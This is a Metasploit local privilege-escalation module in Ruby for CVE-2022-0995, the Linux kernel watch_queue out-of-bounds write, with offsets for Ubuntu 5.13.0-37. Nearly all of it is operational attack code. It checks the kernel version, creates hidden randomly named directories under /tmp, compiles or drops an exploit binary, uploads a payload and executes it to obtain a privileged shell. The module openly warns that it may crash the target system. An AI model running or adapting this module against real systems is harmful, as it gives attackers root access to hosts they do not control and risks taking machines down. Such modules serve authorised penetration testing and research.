## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Watch Queue Out of Bounds Write', 'Description' => %q{ This module exploits a vulnerability in the Linux Kernel's watch_queue event notification system. It relies on a heap out-of-bounds write in kernel memory. The exploit may fail on the first attempt so multiple attempts may be needed. Note that the exploit can potentially cause a denial of service if multiple failed attemps occur, however this is unlikely. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jann Horn', # discovery and poc 'bonfee', # PoC 'bwatters-r7' # Aka @tychos_moose, Metasploit Module ], 'DisclosureDate' => '2022-03-14', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Privileged' => true, 'References' => [ [ 'CVE', '2022-0995' ], [ 'URL', 'https://github.com/Bonfee/CVE-2022-0995' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=93ce93587d36493f2f86921fa79921b3cba63fbb' ], [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0995' ], [ 'PACKETSTORM', '166770' ], ], 'Targets' => [ [ 'Ubuntu Linux 5.13.0-37', {} ], ], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => [ UNRELIABLE_SESSION ], # Not expected to get a shell every time due to heap spray sometimes not working. 'Stability' => [ CRASH_OS_DOWN ], 'SideEffects' => [ ARTIFACTS_ON_DISK ] } ) ) register_options [ OptBool.new('DEBUG_SOURCE', [ false, 'Use source code with debug prints to help troubleshoot', false ]) ] register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def pull_version kernel_data = kernel_release version_array = kernel_data.split('-') if version_array.length < 3 print_error("Failed to parse the kernel version data: #{kernel_data}") return nil end vprint_status("Version array: #{version_array}") major_version = Rex::Version.new(version_array[0]) vprint_status("major_version: #{major_version}") minor_version = version_array[1].strip unless version_array[1].nil? vprint_status("minor_version: #{minor_version}") kernel_type = version_array[2].strip unless version_array[2].nil? return [major_version, minor_version, kernel_type] end def module_check # Vulnerable versions are under 5.17:rc8 # This module only has offsets for Ubuntu 5.13.0-37 if is_root? && !datastore['ForceExploit'] fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override.') end if datastore['DEBUG_SOURCE'] && datastore['COMPILE'] != 'True' fail_with(Failure::BadConfig, 'DEBUG_PRINT is only supported when COMPILE is set to True') end unless kernel_version =~ /[uU]buntu/ fail_with(Failure::NoTarget, "Unsupported Distro: '#{version}'") end arch = kernel_hardware unless arch.include?('x86_64') fail_with(Failure::NoTarget, "Unsupported architecture: '#{arch}'") end version_info = pull_version if version_info.nil? fail_with(Failure::NoTarget, 'Failed to obtain kernel version') end major_version, minor_version, kernel_type = version_info vulnerable_version = Rex::Version.new('5.13.0') unless major_version == vulnerable_version && minor_version == '37' && kernel_type.include?('generic') fail_with(Failure::NoTarget, "No offsets for '#{kernel_release}'") end end def check # Vulnerable versions are under 5.17:rc8 # This module only has offsets for 5.13.0-37 vulnerable_version = Rex::Version.new('5.17.0') version_info = pull_version if version_info.nil? return CheckCode::Unknown('Failed to obtain kernel version') end major_version = version_info[0] if major_version <= vulnerable_version return CheckCode::Appears else return CheckCode::Safe("The target kernel version #{major_version} is later than the last known vulnerable version aka #{vulnerable_version}") end end def exploit module_check base_dir = datastore['WritableDir'].to_s unless writable?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is not writable") end executable_name = ".#{rand_text_alphanumeric(5..10)}" exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" exploit_path = "#{exploit_dir}/#{executable_name}" if file_exist?(exploit_dir) fail_with(Failure::BadConfig, 'Exploit dir already exists') end mkdir(exploit_dir) register_dir_for_cleanup(exploit_dir) # Upload exploit if live_compile? vprint_status('Live compiling exploit on system...') if datastore['DEBUG_SOURCE'] code = exploit_source('cve-2022-0995', 'cve-2022-0995_debug.c') else code = exploit_source('cve-2022-0995', 'cve-2022-0995.c') end upload_and_compile(exploit_path, code, '-no-pie -static') else vprint_status('Dropping pre-compiled exploit on system...') precompiled_binary = 'cve-2022-0995.x64.elf' vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...") upload_and_chmodx(exploit_path, exploit_data('cve-2022-0995', precompiled_binary)) end register_file_for_cleanup(exploit_path) # Upload payload payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx(payload_path, generate_payload_exe) # Launch exploit print_status('Launching exploit...') cmd_string = "#{exploit_path} #{payload_path}" vprint_status("Running: #{cmd_string}") begin output = cmd_exec(cmd_string) vprint_status(output) rescue Error => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) print_error("Exploit failed: #{e}") print_error("Ensure deletion of #{exploit_path} and #{payload_path}") end end end